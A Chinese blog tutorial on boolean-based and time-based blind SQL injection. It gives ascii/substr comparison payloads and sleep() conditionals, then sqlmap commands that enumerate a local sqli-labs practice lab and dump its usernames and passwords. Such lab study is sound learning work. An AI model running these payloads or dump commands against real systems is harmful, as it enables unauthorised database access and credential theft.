基于布尔 基于时间的sql盲注

在上一博客 其实就已经讲到了  sql    

但是上一节 主要是有回显  页面中 会有很多 提示的信息  但是在实战中  这些东西 其实都不怎么存在的  这里  其实又分了 两种情况 

第一种 是基于 布尔  第二种 就是  基于时间的  盲注 

这两种   其实 都比较  简单     先说  基于 布尔的吧 

基于布尔的盲注 :

   其实这个很好理解  页面只会返回 0或1  我们可以 根据 页面是否 404  就可以判断  是否正确 

然后我们可以利用的函数 有   mid(striing,start,length)      substr(string,start,length)    left(string,length)  

然后 我们可以  正确性  来验证  库的长度 

基于布尔 基于时间的sql盲注

 然后可以用 二分法 来 猜测  库的名字   表的名字  字段的名字  

然后可以 找到 最后的 用户名 还有密码   基本上可以用 

select length(database())

select substr (database())

select ascii(substr(database(),1,1))

select ascii(substr(database(),1,1))>N

select ascii(substr(database(),1,1))<N

select ascii(substr(database(),1,1))=N

如果要是 查找第二位 就是 第二位换成 2即可 

基于时间的盲注 则是  页面 0 1 也不会返回  

这个就是比较尴尬的一点 我们也不知道 我们是否注入成功了  那么 就可以  用一个函数 

sleep    用if 来判断 

例如 

if(ascii(substr(database(),1,1))=N,1,sleep(3)) 

这个语句的意思就是 当数据库名 第一个字母的ascii码 等于115  执行一次 sleep 函数 等待三秒  

这个  这个就和 布尔型注入差不多  人家是    看页面返回   0 或 1  来判断是否注入成功 

而  基于时间的盲注 就是 根据  等待的时间   来判断 

然后    就是靠二分法 一步一步的来猜  或者 用mysql  直接跑  这个也是可以的 

 虽然 可能跑的会非常慢 

这里是查询数据库 名字  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" --technique T --dbs  --batch

基于布尔 基于时间的sql盲注

查询表项  

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security --tables --batch

基于布尔 基于时间的sql盲注

然后这里是 查询字段 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users --columns  --batch


基于布尔 基于时间的sql盲注

 

然后就是   查询 

py -2  sqlmap.py -u "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1" -D security -T users -C username,password --dump  --batch

基于布尔 基于时间的sql盲注